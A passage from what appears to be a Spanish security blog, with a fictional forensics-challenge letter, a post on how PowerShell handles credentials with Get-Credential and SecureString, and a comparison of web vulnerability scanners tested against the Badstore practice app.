Estimado D. Enrique, como perito judicial forense informático nº 157 de la Ilustre Asociación Comarcal de Peritos Judiciales de Mordor, ha sido usted seleccionado como perito independiente en el juicio contra el señor BarceLOnas, por blanqueo de capitales y tráfico de influencias, para realizar un peritaje forense a un dispositivo de tipo pendrive requerido al señor BarceLOnas, durante la inspección de su domicilio.
El dispositivo fue intervenido por la Unidad de Delitos Económicos de la Policía Judicial Mordorense, y puesto bajo custodia del secretario judicial tras realizar cuatro copias del mismo y generar el debido documento de cadena de custodia.
Junto a esta carta se le remite el documento de cadena de custodia, así como un DVD con un clonado del pendrive en formato dd.
Se le solicita remita en un plazo de 7 días desde la fecha de recepción de esta carta, un informe pericial que ayude a determinar a dónde fueron a parar los 300.000€ que el Señor BarceLOnas recibió en B por la recalificación al Señor Sauron de la parcela P2 de su Palacete en Pedralbes.
Reciba un cordial saludo
14 ago 2013
Seguridad y PowerShell (Parte VI)
Continuando con la serie sobre PowerShell y la seguridad que ésta ofrece, hoy hablaremos sobre como gestiona las credenciales la PowerShell de Microsoft. Es importante entender como funciona esto, para que el administrador tenga la suficiente tranquilidad y estar seguro de que PowerShell es fiable y seguro para la administración de sus entornos diariamente.
En el mundo empresarial las credenciales son un pilar fundamental en la organización, son la vía por la que un usuario demuestra ser quién dice ser. Es por esta razón que este tipo de información debe ir siempre protegido y nunca encontrarse almacenado, ya sea en memoria o disco, en texto plano. Como ya hemos visto en los artículos anteriores, PowerShell utiliza las cadenas seguras para proporcionar esta capa de seguridad en memoria. Se dispone de la posibilidad de enmascarar credenciales con el cmdlet Read-Host. Otra vía es utilizar el cmdlet Get-Credential, el cual recogerá la información que el usuario suministrará a través de un popup. Una vez el usuario introduce su credencial se crea un nuevo objeto de tipo PSCredential. Este objeto dispone de dos campos, usuario y contraseña. Si intentamos acceder a los dos atributos, veremos que el primer atributo, usuario, es de tipo String, mientras que el segundo atributo es de tipo SecureString.
El cmdlet Get-Credential tiene un uso amplio en PowerShell para poder realizar tareas bajo otra identidad. Diversos expertos en seguridad recomiendan no utilizar cuentas de administrador en las sesiones de trabajo, es decir, solamente ejecutar acciones que requieran dichos privilegios. El cmdlet Get-Credential proporciona el cambio de identidad para la realización de acciones concretas.
Como ejemplo escenifiquemos este, un usuario se encuentra trabajando en una sesión de PowerShell, en un momento dado necesita poder copiar unos documentos a una ruta sobre la que no dispone de privilegios. Este usuario conoce las credenciales del usuario administrador que si dispone de privilegios. En este momento sería correcto ejecutar el comando Move-Item con el parámetro credential e indicar que la acción se realizará con el usuario administrador. Copy-item <archivo origen> <archivo destino> -credential $(get-credential).
13 ago 2013
Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte V
Wikto es una herramienta enfocada más a footprint que a análisis de vulnerabilidades, ya que se centra en la búsqueda de ficheros y directorios. Sin embargo, es capaz de localizar algunas vulnerabilidades como por ejemplo, las de tipo HTML injection, por lo que hemos decidido incluirla en la lista de utilidades a analizar contra Badstore.
Su uso es muy sencillo, y cuenta con un sencillo Wizard para configurar los escaneos de vulnerabilidades:
Sin embargo, la opción que más nos interesa hoy se encuentra en la pestaña Wikto, y en la cual tendremos que cargar la BBDD de vulnerabilidades de Nikto, y pulsar sobre el botón Scan:
Cuando finalice el análisis podremos exportar los resultados a formato CSV para verlos más claramente:
Como se puede ver, Wikto nos ha reportado con la BBDD de Nikto un total de 13 vulnerabilidades, entre las cuales se encuentran varias de inyección de código XSS y HTML, listados de directorios, etc., pero ninguna de tipo inyección de código SQL.
A continuación actualizaremos la lista de herramientas con la nueva información:
Aplicación | Alertas totales | Vulnerabilidades de Inyección SQL |
Acunetix | 117 | 29 |
W3af | 53 | 6 |
Vega | 24 | 2 |
Websecurity Scanner | 18 | 5 |
Wikto | 13 | 0 |
Webcruiser | 5 | 2 |